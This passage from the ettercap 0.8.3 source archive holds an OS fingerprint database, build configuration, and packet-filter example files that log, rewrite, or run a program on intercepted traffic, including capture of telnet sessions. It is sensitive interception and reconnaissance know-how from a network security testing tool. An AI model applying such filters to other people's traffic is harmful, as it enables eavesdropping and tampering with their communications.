v4.90.3000 B5C9:_MSS:80:00:0:1:1:1:A:LT:Windows Millenium Edition v4.90.3000 B680:05B4:FF:WS:0:0:0:0:A:2C:ZyXEL ZyNOS 3.50 B9F0:0578:FF:WS:0:0:0:0:A:2C:Windows 2000 BB80:05B4:80:WS:1:1:1:0:S:30:Windows 2000 BB80:_MSS:80:WS:0:0:1:0:A:LT:Windows 98 C000:057A:40:WS:1:1:1:0:A:30:Linux C000:05A0:80:00:1:1:1:1:S:40:Windows XP C000:05B4:40:00:0:0:0:0:S:2C:IRIX 6.5 / 6.4 C000:05B4:40:00:1:1:1:1:A:40:IRIX64 6.5 IP27 C000:05B4:40:WS:0:0:0:0:S:LT:Irix 6.5 C000:05B4:40:WS:1:1:1:0:A:30:Linux C000:05B4:80:00:0:1:0:0:A:LT:IRIX 6.2 - 6.5 C000:05B4:80:00:0:1:0:1:A:LT:IRIX 6.2 - 6.5 C000:_MSS:80:WS:0:0:0:0:A:LT:OS-9/68K V2.4 (Quanterra Q4124 - 68030) C050:05B4:40:00:0:1:1:1:A:3C:Solaris 9 SPARC ULTRA 10 C050:05B4:40:00:1:1:1:1:A:40:SunOS 5.9 (sun4u) C08A:_MSS:80:00:0:1:1:0:A:LT:FreeBSD 2.2.1 - 4.1 C08A:_MSS:80:00:0:1:1:1:A:LT:FreeBSD 2.2.1 - 4.1 C0B7:_MSS:80:00:0:1:1:0:A:LT:FreeBSD 2.2.1 - 4.1 C0B7:_MSS:80:00:0:1:1:1:A:LT:FreeBSD 2.2.1 - 4.1 C0D8:05AC:40:WS:1:1:1:0:A:30:Solaris 9 C1E8:05B4:40:WS:0:0:1:0:A:2C:Solaris 9 C1E8:05B4:40:WS:1:1:1:0:A:30:Windows NT C1E8:05B4:40:WS:1:1:1:0:S:30:Solaris 9 C210:0564:40:WS:1:1:1:0:A:30:Linux C377:05AC:80:02:1:1:1:1:S:40:Windows 2000 advanced server SP2 C3C8:0598:40:WS:1:1:1:0:A:30:Unix C79C:05B4:80:WS:1:1:1:0:S:30:Windows XP Home CDFF:_MSS:80:00:0:0:1:0:A:LT:SONY NEWS-OS 6.1.2 D600:05AC:80:02:1:1:1:1:S:40:Windows XP Professional D780:05B4:40:03:1:1:1:0:S:34:Winblows XP D780:B405:40:03:1:1:1:0:S:LT:Windows XP DA00:05B4:80:02:1:1:0:0:S:34:Windows 2000 DA00:05B4:80:02:1:1:1:0:S:34:Windows XP E000:0564:40:00:0:1:0:1:A:3C:FreeBSD 4.8 E000:0564:40:00:0:1:1:1:A:3C:BSD E000:0564:40:WS:0:0:1:0:A:2C:Free BSD 4.7 E000:0578:40:00:0:1:1:1:A:3C:FreeBSD 4.9-stable E000:0578:40:WS:0:0:1:0:A:2C:FreeBSD E000:0584:40:00:0:1:1:1:A:3C:Linux/FreeBSD E000:0586:40:WS:0:0:0:0:A:2C:FreeBSD4.6.2 E000:05A0:40:00:0:1:1:1:A:3C:FreeBSD 4.7-RELEASE / 4.9 E000:05AA:40:WS:0:0:1:0:A:2C:Windows2000 E000:05AC:40:00:0:1:1:1:A:3C:free BSD E000:05AC:40:WS:0:0:1:0:A:2C:FreeBSD 4.7 E000:05B4:40:00:0:1:0:1:A:3C:FreeBSD 4.6-RELEASE-p1 E000:05B4:40:00:0:1:1:0:A:30:Free BSD 4.8-STABLE E000:05B4:40:00:0:1:1:1:A:3C:FreeBSD 4.7-PRERELEASE E000:05B4:40:00:0:1:1:1:S:3C:FreeBSD 4.6-RELEASE E000:05B4:40:00:0:1:1:1:S:LT:Free BSD 4.7-Stable E000:05B4:40:WS:0:0:0:0:A:2C:FreeBSD 4.6-RELEASE-p1 E000:05B4:40:WS:0:0:1:0:A:2C:FreeBSD 4.7 E000:05B4:40:WS:0:0:1:0:S:2C:FreeBSD E000:05B4:80:00:0:1:1:1:S:3C:FreeBSD 4.6-RC2 E000:6405:40:00:0:1:0:1:A:3C:FreeBSD 4.6 E000:B405:40:00:0:1:0:1:A:3C:FreeBSD 4.6 E000:B405:40:00:0:1:1:1:A:3C:Free BSD 4.8 E000:B405:40:00:0:1:1:1:S:3C:Free BSD E000:B405:40:00:0:1:1:1:S:LT:Free BSD E000:C003:40:00:0:1:1:1:A:3C:Linux Debian E640:05AC:40:02:1:1:1:0:S:34:Windows 2000 Server - Windows XP SP1 E640:05B4:40:02:1:1:0:0:S:LT:Windows 2000 SP2 E640:05B4:40:02:1:1:1:0:S:34:Windows 2000 Professional E8C0:05A0:40:01:1:1:1:0:S:34:Windows 98 E920:_MSS:80:00:0:1:1:1:A:LT:Windows ME EA60:05AC:40:WS:0:0:1:0:A:2C:Router Cisco 677 EA60:05DC:40:WS:0:0:1:0:A:2C:Windows XP EA60:05DC:40:WS:0:0:1:0:A:LT:Cisco 667i-DIR DSL router -- cbos 2.4.2 EA60:_MSS:80:WS:0:0:1:0:A:LT:Cisco 675 DSL router -- cbos 2.1 EB28:0578:40:WS:1:1:1:0:A:30:IRIX 6.5.x EBC0:0218:80:02:1:1:0:1:S:40:Windows XP EBC0:05AC:40:02:0:1:0:0:S:30:Windows 2000 EBC0:05AC:40:02:1:1:1:0:S:34:Windows XP EBC0:05B4:40:02:1:1:0:0:S:LT:Windows ME EBC0:05B4:40:02:1:1:1:0:S:34:Windows 2000 Pro SP2 / XP Pro EBC0:05B4:40:02:1:1:1:1:S:40:Windows XP EBC0:05B4:40:WS:1:1:1:0:S:30:Windown XP EBC0:05B4:80:02:1:1:1:0:S:34:Windows XP EBC0:05B4:80:02:1:1:1:1:S:40:Windows XP EBC0:05B4:80:WS:1:1:1:0:S:30:Windows ME ED90:05B4:40:00:0:1:1:1:A:3C:Irix 6.5.8 ED90:05B4:40:00:1:1:1:1:A:40:IRIX 6.5 ED90:_MSS:40:WS:0:0:1:0:A:LT:IRIX 6.2 - 6.5 EE48:_MSS:40:WS:0:0:1:0:A:LT:IRIX 5.1 - 5.3 EF2A:_MSS:80:00:0:1:0:0:A:LT:IRIX 5.2 EF2A:_MSS:80:00:0:1:0:1:A:LT:IRIX 5.2 EF88:_MSS:40:WS:0:0:1:0:A:LT:IRIX 6.2 - 6.5 F000:0200:40:WS:0:0:0:0:S:LT:IRIX 5.3 / 4.0.5F F000:05B4:40:00:0:1:0:0:A:30:OSF1 5.1 732 alpha F000:05B4:40:00:0:1:0:0:S:30:OSF1 5.1 F000:05B4:40:WS:0:0:0:0:A:2C:OSF1 F000:05B4:40:WS:0:0:0:0:S:LT:IRIX 6.3 F000:05B4:40:WS:1:1:0:0:S:LT:IRIX 6.5.10 F000:05B4:80:00:0:1:0:0:A:LT:IRIX 5.3 F000:05B4:80:00:0:1:0:0:S:30:DEC Cluster F000:05B4:80:00:0:1:0:1:A:LT:IRIX 5.3 F000:B405:40:WS:1:1:0:0:S:30:SGI Irix 6.5.17m F400:05B4:80:01:1:1:1:0:S:34:Windows XP F424:05B4:80:04:1:1:1:0:A:34:Windows XP SP1 - english F5E0:05B4:80:01:1:1:1:0:S:34:Windows 2000 F990:05B4:40:WS:1:1:1:0:S:30:Windows 2000 F99F:0000:80:WS:0:0:0:0:S:28:Linux 2.2.x or 2.4.x FA00:05B4:40:01:0:1:1:1:A:3C:Windows FAD8:0574:80:WS:1:1:1:0:S:30:Windows XP FAF0:0200:80:WS:1:1:1:0:S:30:Windows 2000 FAF0:04EC:80:WS:1:1:1:0:S:30:Windows XP Professional FAF0:0514:80:WS:1:1:1:0:S:30:Windows XP FAF0:0518:80:WS:1:1:1:0:S:30:Windows 2000 server FAF0:0528:80:WS:1:1:1:0:S:30:Windows FAF0:0550:80:WS:1:1:1:0:A:30:Windows XP Pro FAF0:055C:80:WS:1:1:1:0:S:30:Windows XP SP2 FAF0:0564:80:00:1:1:1:1:A:40:Windows XP FAF0:0564:80:WS:0:0:1:0:A:2C:Windows XP Professional FAF0:0564:80:WS:1:1:1:0:A:30:Windows 2K FAF0:0564:80:WS:1:1:1:0:S:30:Windows XP Professional FAF0:0572:80:WS:1:1:1:0:S:30:Windows XP FAF0:0578:80:WS:1:1:1:0:A:30:Windows XP FAF0:0578:80:WS:1:1:1:0:S:30:Windows 2000 FAF0:057A:80:WS:1:1:1:0:S:30:Windows XP FAF0:0584:40:WS:1:1:1:0:A:30:Unix FAF0:0584:80:WS:0:1:1:0:S:30:Windows XP FAF0:0584:80:WS:1:1:1:0:A:30:Windows 2000 / XP FAF0:0584:80:WS:1:1:1:0:S:30:Windows XP FAF0:0586:80:WS:1:1:1:0:S:30:Windows XP pro FAF0:0598:80:WS:1:1:1:0:A:30:Windows XP FAF0:05A0:40:00:1:1:1:0:S:34:Linux FAF0:05A0:80:00:1:1:1:1:A:40:Windows XP FAF0:05AC:40:03:1:1:1:0:A:34:Windows 2000 FAF0:05AC:80:00:1:1:1:1:A:40:Windows XP FAF0:05AC:80:WS:1:1:1:0:A:30:Windows 2000 FAF0:05AC:80:WS:1:1:1:0:S:30:Windows 2000 Pro FAF0:05B0:80:WS:1:1:1:0:A:30:Windows 2000 FAF0:05B4:40:00:1:1:1:0:S:34:Windows XP FAF0:05B4:40:00:1:1:1:0:S:LT:Windows 98 FAF0:05B4:40:00:1:1:1:1:A:40:Windows 2000 FAF0:05B4:40:00:1:1:1:1:S:40:Windows 2000 FAF0:05B4:40:02:1:1:0:0:A:LT:Windows ME FAF0:05B4:40:02:1:1:1:0:A:34:Windows 2000 FAF0:05B4:40:WS:0:0:0:0:A:2C:IBM AIX (JG) FAF0:05B4:40:WS:0:0:1:0:A:2C:SunOS 5.9 FAF0:05B4:40:WS:0:0:1:0:S:2C:Windows NT Server 4.0 FAF0:05B4:40:WS:1:1:1:0:A:30:Unix FAF0:05B4:40:WS:1:1:1:0:S:30:Windows XP Professional, Build 2600 FAF0:05B4:80:00:0:1:1:0:A:LT:Windows 2000 Professional, Build 2183 (RC3) FAF0:05B4:80:00:0:1:1:1:A:3C:Windows 2000 Professional / Windows XP Pro FAF0:05B4:80:00:1:1:1:0:A:34:Windows XP FAF0:05B4:80:00:1:1:1:0:S:34:Windows 2000 FAF0:05B4:80:00:1:1:1:1:A:40:Windows 2000 Version 5.0 (Build 2195) FAF0:05B4:80:00:1:1:1:1:S:40:Windows XP FAF0:05B4:80:WS:0:0:0:0:A:2C:Windows NT 4.0 FAF0:05B4:80:WS:0:0:0:0:S:2C:Windows XP Proffesional Release FAF0:05B4:80:WS:0:0:1:0:A:2C:Linux Slackware 8.0 FAF0:05B4:80:WS:0:0:1:0:S:2C:Windows XP SP2 FAF0:05B4:80:WS:0:1:1:0:A:LT:Windows XP Professional Release FAF0:05B4:80:WS:0:1:1:0:S:30:Windows XP FAF0:05B4:80:WS:1:1:0:0:A:30:Linux FAF0:05B4:80:WS:1:1:0:0:S:30:Windows 2000 Pro FAF0:05B4:80:WS:1:1:1:0:A:30:Windows XP FAF0:05B4:80:WS:1:1:1:0:A:34:Windows XP Pro FAF0:05B4:80:WS:1:1:1:0:S:30:Windows XP Pro, Windows 2000 Pro FAF0:05B4:80:WS:1:1:1:0:S:LT:Windows 98 SE / 2000 / XP Professional FAF0:05B4:80:WS:1:1:1:0:S:LT:Windows XP FAF0:05B4:FF:WS:0:0:1:0:S:2C:Linux 2.1.xx FAF0:05B4:FF:WS:1:1:1:0:A:LT:Windows 2000 Pro FAF0:05B4:FF:WS:1:1:1:0:S:30:Windows 2000 Professional SP 3 FAF0:B405:40:00:0:1:1:0:A:LT:Mac OS X Server 10.1 FAF0:B405:80:00:0:1:1:1:A:3C:Windows XP professional FAF0:B405:80:00:0:1:1:1:A:LT:Windows XP FAF0:B405:80:00:1:1:1:1:A:LT:Pocket Pc 2002 FAF0:B405:80:WS:0:0:1:0:A:2C:Windows XP Pro FAF0:B405:80:WS:1:1:1:0:A:30:Windows XP FAF0:B405:80:WS:1:1:1:0:S:30:Windows XP Home FAF0:_MSS:FF:WS:0:0:0:0:A:LT:Solaris 2.6 - 2.7 FB04:0594:80:WS:1:1:1:0:S:30:Windows XP FB40:0218:40:00:1:1:1:0:S:34:Windows 2000 Pro FB40:05B4:40:00:1:1:1:0:S:34:Windows XP FC00:04EC:80:WS:1:1:1:0:S:30:Windows XP FC00:0518:40:WS:0:0:0:0:A:2C:Xbox - Avalaunch 0.48.64 FC00:0546:80:WS:1:1:1:0:S:30:Windows XP Pro FC00:0564:80:WS:1:1:1:0:A:30:Cisco PIX FireWall FC00:0578:40:WS:0:0:0:0:S:2C:Microsoft XBox FC00:057E:80:WS:1:1:1:0:S:30:Windows XP FC00:05B4:80:00:0:1:1:1:A:3C:Windows 2000 FC00:05B4:80:00:1:1:0:1:A:40:Windows 2000 Running IIS Version 5 FC00:05B4:80:00:1:1:1:0:S:34:Windows XP SP1 FC00:05B4:80:00:1:1:1:1:A:40:Windows 2000 - XP FC00:05B4:80:WS:0:0:1:0:A:2C:Windows XP FC00:05B4:80:WS:1:1:1:0:A:30:Windows X FC00:05B4:80:WS:1:1:1:0:S:30:Windows 2000 Pro FC00:7E05:80:WS:1:1:1:0:S:30:Windows XP Pro FC00:B405:80:00:0:1:1:1:A:3C:Windows 2000 server FC00:B405:80:00:1:1:1:0:A:34:Windows XP Professional v2002 SP1 FC00:B405:80:WS:1:1:1:0:S:30:Windows XP FC6C:05B4:80:WS:1:1:1:0:S:LT:Windows XP FCA4:057E:80:WS:1:1:1:0:S:30:Windows XP FD20:05A0:80:00:1:1:1:1:A:40:Windows XP Home v2002 FD20:05A0:80:WS:1:1:1:0:A:30:Windows XP home FD20:05A0:80:WS:1:1:1:0:S:30:Windows XP Home v2002 FDB8:0584:FF:WS:1:1:1:0:S:30:Windows XP FDD4:05A4:80:WS:1:1:1:0:S:30:Windows XP SP1 FE70:0588:80:WS:1:1:0:0:A:30:Windows 98 SE FE70:0588:80:WS:1:1:0:0:S:30:Windows XP Home FE88:05B4:FF:00:0:1:1:1:A:3C:Solaris FE88:05B4:FF:00:1:1:1:1:A:40:Mac OS X Server FE88:B405:40:00:0:1:1:1:A:3C:Mac OS X Server 10.x FE88:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 FEF4:0534:80:00:1:1:1:1:A:40:Windows 2000 FEF4:0534:80:WS:1:1:1:0:S:30:Windows XP FEFA:_MSS:80:00:0:1:0:0:A:LT:AIX v4.2 FEFA:_MSS:80:00:0:1:0:1:A:LT:AIX v4.2 FF00:0550:80:00:1:1:1:1:A:40:Windows XP FF00:0550:80:WS:1:1:1:0:S:30:Windows XP FF3C:0584:80:WS:1:1:1:0:A:30:Windows 2000 FF3C:05AC:40:WS:1:1:1:0:A:30:Windows XP FF3C:05AC:80:00:1:1:1:0:A:34:Windows XP Pro FF3C:05AC:80:WS:1:1:0:0:S:30:Windows 2000 Pro SP3 FF3C:05AC:80:WS:1:1:1:0:S:30:Windows 2000 FF70:0218:80:WS:1:1:1:0:A:30:Windows 2000 Professional FF70:0218:80:WS:1:1:1:0:S:1C:Windows XP Professional Build 2600.xpsp2.030422 FFA3:05B4:40:WS:1:1:1:0:S:30:Windown 2000 FFAF:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.3 - 2.4 FFAF:_MSS:80:00:0:1:0:0:A:LT:Hitachi HI-UX/MPP (don't know version) FFAF:_MSS:80:00:0:1:0:1:A:LT:Hitachi HI-UX/MPP (don't know version) FFAF:_MSS:80:WS:0:0:0:0:A:LT:AIX 3.2.5 (Bull HardWare) FFDC:0200:40:00:0:1:0:1:A:3C:Windows XP FFF0:04EC:80:00:1:1:1:0:A:34:Windos XP FFF0:04EC:80:00:1:1:1:1:A:40:Windows 2000 FFF0:04EC:80:WS:1:1:1:0:S:30:Windows 2000 FFF0:057A:80:00:1:1:1:1:A:40:Windows XP FFF0:05B0:80:WS:1:1:1:0:A:30:Windows XP FFF0:05B0:80:WS:1:1:1:0:S:30:Windows XP FFF0:B005:80:00:0:1:1:1:A:3C:Windows XP FFF0:EC04:80:WS:1:1:1:0:S:30:Windows XP FFF7:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 FFF7:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 FFFF:0200:40:01:0:1:0:0:A:30:FreeBSD 4.8 FFFF:0200:40:WS:0:0:0:0:A:2C:AIX FFFF:0200:80:WS:1:1:1:0:S:30:Windows FFFF:0218:80:00:1:1:1:0:S:34:Windows XP FFFF:024C:80:WS:1:1:1:0:S:30:Windows XP sp2 FFFF:04EC:40:00:1:1:1:1:S:40:Windows XP FFFF:04EC:80:00:1:1:1:1:A:40:Windows 2000 FFFF:04EC:80:WS:0:0:1:0:A:2C:Windows 2000 FFFF:04EC:80:WS:1:1:1:0:S:30:Windows 2000 Professional FFFF:052A:40:WS:0:0:0:0:A:2C:Windows* [aol client] FFFF:052A:80:00:1:1:0:1:A:40:Windows 2000 Server FFFF:0534:40:WS:1:1:1:0:A:30:Windows XP Pro SP1 FFFF:0548:80:WS:1:1:0:0:S:30:Windows 2000 Server FFFF:0550:40:WS:1:1:1:0:A:30:Windows 2000 Server FFFF:0558:80:WS:0:0:1:0:S:LT:BorderManager 3.5 FFFF:055C:80:WS:1:1:0:0:S:30:Windows XP FFFF:0564:40:00:0:1:1:1:A:3C:FreeBSD FFFF:0564:40:01:0:1:1:1:S:3C:FreeBSD 5.1-RELEASE FFFF:0564:40:WS:0:0:0:0:A:LT:AIX FFFF:0564:40:WS:0:0:1:0:A:2C:Linux FFFF:0564:40:WS:1:1:1:0:S:30:Windows 98 Second Edition FFFF:0564:80:00:1:1:1:1:A:40:Windows 2000 server FFFF:0564:80:WS:0:0:1:0:A:2C:BSD FFFF:0564:80:WS:1:1:1:0:A:30:Windows 2000 / NT FFFF:0564:80:WS:1:1:1:0:S:30:Windows FFFF:0564:80:WS:1:1:1:1:A:3C:Windows 2000 FFFF:0578:40:WS:0:0:1:0:S:2C:FreeBSD 4.5 FFFF:0578:80:WS:1:1:1:0:S:30:Windows XP FFFF:057E:80:00:1:1:1:1:S:40:Windows 2000 FFFF:057E:80:WS:1:1:0:0:S:30:Windows 2000 Professional FFFF:0580:80:00:1:1:1:0:A:34:Watchguard Firebox FFFF:0584:40:00:1:1:1:1:A:40:Windows XP FFFF:0584:40:WS:0:0:0:0:A:2C:Solaris FFFF:0584:40:WS:0:0:1:0:A:2C:Linux FFFF:0584:80:WS:1:1:1:0:A:30:Cisco-louche1 FFFF:0584:80:WS:1:1:1:0:S:30:Linux Debian FFFF:0586:40:00:0:1:1:1:A:3C:Unix FFFF:0586:40:01:0:1:1:1:S:3C:Mac OS X 10.2 FFFF:0586:40:WS:1:1:1:0:S:30:Windows 98 SE FFFF:058C:40:00:1:1:1:1:A:40:Windows XP Pro FFFF:058C:40:WS:0:0:0:0:A:2C:FreeBSD 4.5 FFFF:058C:40:WS:1:1:1:0:A:30:Windows 2000 Pro SP2 FFFF:058C:40:WS:1:1:1:0:S:30:Windows 98 FFFF:058C:80:00:1:1:1:1:A:40:FreeBSD FFFF:058C:80:WS:1:1:1:0:A:30:NetBSD FFFF:0598:40:WS:0:0:0:0:A:2C:FreeBSD 4.5 FFFF:0598:40:WS:0:0:0:0:S:2C:Cisco webcache FFFF:0598:80:00:1:1:1:1:A:40:Windows 2000 Server Service Pack 4 FFFF:05A0:80:WS:1:1:1:0:A:30:Windows XP FFFF:05A0:80:WS:1:1:1:0:S:30:Windows XP Pro FFFF:05A0:FF:WS:1:1:1:0:S:30:Windows 98 FFFF:05A4:40:WS:1:1:1:0:A:30:Windows 3.11 FFFF:05AB:80:WS:1:1:0:0:S:30:Windows FFFF:05AC:40:00:1:1:1:0:S:34:MS Windows XP SP1 FFFF:05AC:40:00:1:1:1:1:S:40:Windows XP FFFF:05AC:40:01:0:1:0:1:A:3C:FreeBSD 4.5-STABLE FFFF:05AC:40:01:0:1:1:1:S:3C:Mac OS X 10.2.x FFFF:05AC:40:WS:0:0:1:0:A:2C:FreeBSD 4.3 - 4.4 FFFF:05AC:40:WS:1:1:1:0:S:30:Windows 98 Second Edition FFFF:05AC:40:WS:1:1:1:0:S:LT:Windows 98 FFFF:05AC:80:00:0:1:0:1:S:3C:Windows XP FFFF:05AC:80:00:1:1:1:1:A:40:Windows 2000 Server FFFF:05AC:80:WS:0:0:1:0:S:LT:Windows 98 FFFF:05AC:80:WS:1:1:1:0:A:30:BSD FFFF:05AC:80:WS:1:1:1:0:S:30:Windows 95 FFFF:05B0:80:WS:1:1:1:0:S:30:Windows 2000 Professional FFFF:05B4:40:00:0:1:0:0:S:3C:CacheOS 3.1 on a CacheFlow 6000 FFFF:05B4:40:00:0:1:1:1:A:3C:Mac OS X (Panther) ver. 10.3.3 (7F44) FFFF:05B4:40:00:0:1:1:1:S:3C:FreeBSD 4.4 / 4.5 / 4.7 FFFF:05B4:40:00:1:1:1:1:S:40:Openbsd 2.9 FFFF:05B4:40:01:0:1:0:0:A:30:FreeBSD 4.5 FFFF:05B4:40:01:0:1:0:0:S:30:AOL proxy FFFF:05B4:40:01:0:1:0:1:A:3C:FreeBSD 4.4 - 4.5 FFFF:05B4:40:01:0:1:0:1:A:LT:AIX FFFF:05B4:40:01:0:1:1:1:A:3C:FreeBSD 4.3 - 4.4 - 5.1 FFFF:05B4:40:01:0:1:1:1:A:LT:Linux FFFF:05B4:40:01:0:1:1:1:S:3C:FreeBSD 4.5-STABLE FFFF:05B4:40:01:0:1:1:1:S:44:FreeBSD FFFF:05B4:40:01:1:1:1:1:A:40:FreeBSD 5.3 FFFF:05B4:40:01:1:1:1:1:S:40:FreeBSD 5.3RELEEASE FFFF:05B4:40:02:0:1:0:1:A:3C:AIX 4.3 FFFF:05B4:40:02:1:1:1:0:S:34:Windows 2003 FFFF:05B4:40:02:1:1:1:1:S:40:Windows XP FFFF:05B4:40:03:0:1:1:1:A:3C:FreeBSD 4.7-RELEASE FFFF:05B4:40:WS:0:0:0:0:A:2C:FreeBSD 4.5 FFFF:05B4:40:WS:0:0:0:0:A:LT:Win NT 4.0 SP4 FFFF:05B4:40:WS:0:0:1:0:A:2C:FreeBSD 4.3 - 4.4 FFFF:05B4:40:WS:0:0:1:0:S:2C:FreeBSD 4.5-RELEASE FFFF:05B4:40:WS:1:1:0:0:S:30:Windows 98 FFFF:05B4:40:WS:1:1:1:0:A:30:Windows 2000 Pro SP2 FFFF:05B4:40:WS:1:1:1:0:S:30:Windows 98 Second Edition FFFF:05B4:80:00:0:0:1:0:A:LT:MacOS 8.1 FFFF:05B4:80:00:0:1:0:0:A:LT:AIX 3.2 running on RS/6000 FFFF:05B4:80:00:0:1:0:1:A:LT:AIX 3.2 running on RS/6000 FFFF:05B4:80:00:0:1:1:1:A:3C:Windows 2000 SP4 FFFF:05B4:80:00:1:1:0:1:A:40:Windows 2000 Server FFFF:05B4:80:00:1:1:1:0:A:34:Windows 2000 Server SP4 FFFF:05B4:80:00:1:1:1:1:A:40:Windows 2000 Advanced Server FFFF:05B4:80:01:0:1:1:1:S:3C:FreeBSD 5.0 dp-1 FFFF:05B4:80:01:1:1:1:0:S:34:Windows XP SP2 FFFF:05B4:80:02:1:1:1:0:A:34:Windows XP Sp 2 FFFF:05B4:80:03:1:1:1:0:S:34:Windows 2000 FFFF:05B4:80:03:1:1:1:1:S:40:Windows 2000 SP 3 FFFF:05B4:80:WS:0:0:0:0:A:2C:Windows XP FFFF:05B4:80:WS:0:0:1:0:A:2C:BSD FFFF:05B4:80:WS:1:1:0:0:A:30:Windows 2000 Server SP4 FFFF:05B4:80:WS:1:1:0:0:S:30:Windows 98 SE FFFF:05B4:80:WS:1:1:1:0:A:30:NetBSD FFFF:05B4:80:WS:1:1:1:0:S:30:Windows 2000 Professional SP4 FFFF:05B4:80:WS:1:1:1:0:S:LT:MacOS X FFFF:05B4:FF:01:0:1:1:0:A:30:Mac OS 9 FFFF:05B4:FF:01:0:1:1:0:S:30:Mac OS 9 FFFF:05B4:FF:WS:0:0:1:0:A:2C:FreeBSD FFFF:05B4:FF:WS:1:1:1:0:S:30:Windows 2000 FFFF:7805:40:01:0:1:0:1:S:3C:Mac OS X 10.3 FFFF:7E05:80:00:1:1:1:1:S:40:Windows 2000 FFFF:8C05:FF:01:0:1:0:1:A:LT:MacOS X FFFF:A005:40:01:0:1:1:1:S:LT:Linux (Embedded) Router FFFF:AC05:80:00:1:1:1:1:S:40:Windows XP FFFF:AC05:80:WS:1:1:1:0:S:30:Windows XP FFFF:B405:40:00:0:1:1:1:A:3C:Mac OS X (Panther) ver. 10.3.x FFFF:B405:40:00:0:1:1:1:S:3C:Mac OS X 10.3 Panther FFFF:B405:40:00:0:1:1:1:S:LT:Darwin FFFF:B405:40:00:0:1:1:1:S:LT:Darwin 1.4 FFFF:B405:40:00:0:1:1:1:S:LT:Mac OS X FFFF:B405:40:00:0:1:1:1:S:LT:Mac OS X 10.3.2 (ppc) FFFF:B405:40:00:0:1:1:1:S:LT:Mac Os X 10.3.4 FFFF:B405:40:01:0:1:0:1:A:3C:FreeBSD 4.4 / 4.5 FFFF:B405:40:01:0:1:1:0:A:LT:Mac OS X FFFF:B405:40:01:0:1:1:1:A:3C:Mac OS X 10.1.3 / 10.2.x FFFF:B405:40:01:0:1:1:1:S:3C:Mac OS X 10.1.x FFFF:B405:40:02:0:1:1:1:S:3C:Mac OS X 10.x.x FFFF:B405:40:WS:0:0:1:0:A:2C:Mac OS X FFFF:B405:40:WS:0:0:1:0:A:LT:Mac OS X FFFF:B405:40:WS:0:0:1:0:S:2C:Mac OS X 10.3 FFFF:B405:40:WS:0:0:1:0:S:LT:Mac OS X (10.3) FFFF:B405:40:WS:0:0:1:0:S:LT:Mac OS X (10.3) FFFF:B405:40:WS:0:0:1:0:S:LT:Mac OS X 10.3 FFFF:B405:80:00:0:1:1:1:A:3C:Windows 2000 FFFF:B405:80:00:0:1:1:1:A:LT:Windows XP FFFF:B405:80:WS:0:0:0:0:A:2C:Windows 2000 Advanced Server FFFF:B405:80:WS:1:1:1:0:A:30:Windows XP FFFF:B405:80:WS:1:1:1:0:S:30:Windows FFFF:B405:FF:02:0:1:0:1:A:LT:AIX FFFF:B405:FF:02:0:1:1:0:S:LT:Mac OS 9.2 FFFF:_MSS:80:00:0:0:0:0:A:LT:IBM MVS TCP/IP stack V. 3.2 or AIX 4.3.2 FFFF:_MSS:80:00:0:1:1:0:A:LT:Cray Unicos 9.0 - 10.0 or Unicos/mk 1.5.1 FFFF:_MSS:80:00:0:1:1:1:A:LT:Cray Unicos 9.0 - 10.0 or Unicos/mk 1.5.1 FFFF:_MSS:80:WS:0:0:0:0:A:LT:IBM MVS TCP/IP stack V. 3.2 or AIX 4.3.2 FFFF:_MSS:80:WS:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 FFFF:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 ettercap-0.8.3/share/etterlog.dtd0000644000175000017500000000165413505247364016626 0ustar koeppeakoeppea ettercap-0.8.3/share/ettercap.svg0000644000175000017500000001503513505247364016632 0ustar koeppeakoeppea image/svg+xml e e e ettercap-0.8.3/share/CMakeLists.txt0000644000175000017500000000232613505247364017041 0ustar koeppeakoeppea if(ENABLE_IPV6) configure_file(etter.conf.v6 etter.conf COPYONLY) else() configure_file(etter.conf.v4 etter.conf COPYONLY) endif() set(EC_CONFFILES etter.dns etter.mdns etter.nbns ) set(EC_DATAFILES ettercap.png ettercap-small.png ettercap.svg etter.fields etter.filter etterfilter.cnt etter.filter.examples etter.filter.kill etter.filter.pcre etter.filter.ssh etterfilter.tbl etter.finger.mac etter.finger.os etterlog.dtd etter.mime etter.services etter.ssl.crt ../AUTHORS ) if(NOT NO_INSTALL_LICENSE) set(EC_DATAFILES ${EC_DATAFILES} ../LICENSE) endif() foreach(f IN LISTS EC_DATAFILES EC_CONFFILES) configure_file(${f} ${f} COPYONLY) endforeach() install(FILES ${CMAKE_CURRENT_BINARY_DIR}/${EC_CONFFILES} ${CMAKE_CURRENT_BINARY_DIR}/etter.conf DESTINATION ${INSTALL_SYSCONFDIR}/ettercap) install(FILES ${CMAKE_CURRENT_BINARY_DIR}/${EC_DATAFILES} DESTINATION ${INSTALL_DATADIR}/ettercap) # since ettercap now uses this file as the application icon # we still need the icon even if the desktop file is not being installed if(ENABLE_GTK) install(FILES ettercap.svg DESTINATION ${ICON_DIR}) endif() ettercap-0.8.3/share/etter.filter0000644000175000017500000000242213505247364016630 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter -- filter source file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ## # # This filter will substitute the word 'ethercap' with 'ettercap' and # will log the content of the packet in /tmp/mispelled_ettercap.log # It is only a dummy example. ## if (ip.proto == TCP && search(DATA.data, "ethercap") ) { log(DATA.data, "/tmp/mispelled_ettercap.log"); replace("ethercap", "ettercap"); msg("Correctly substituted and logged.\n"); } ettercap-0.8.3/share/etter.filter.examples0000644000175000017500000000666113505247364020456 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter.examples -- filter source file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # make sure this filter will not be used... exit(); # display a message if the tcp port is 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # log all telnet traffic, also execute ./program on every packet if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # log all traffic except http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, 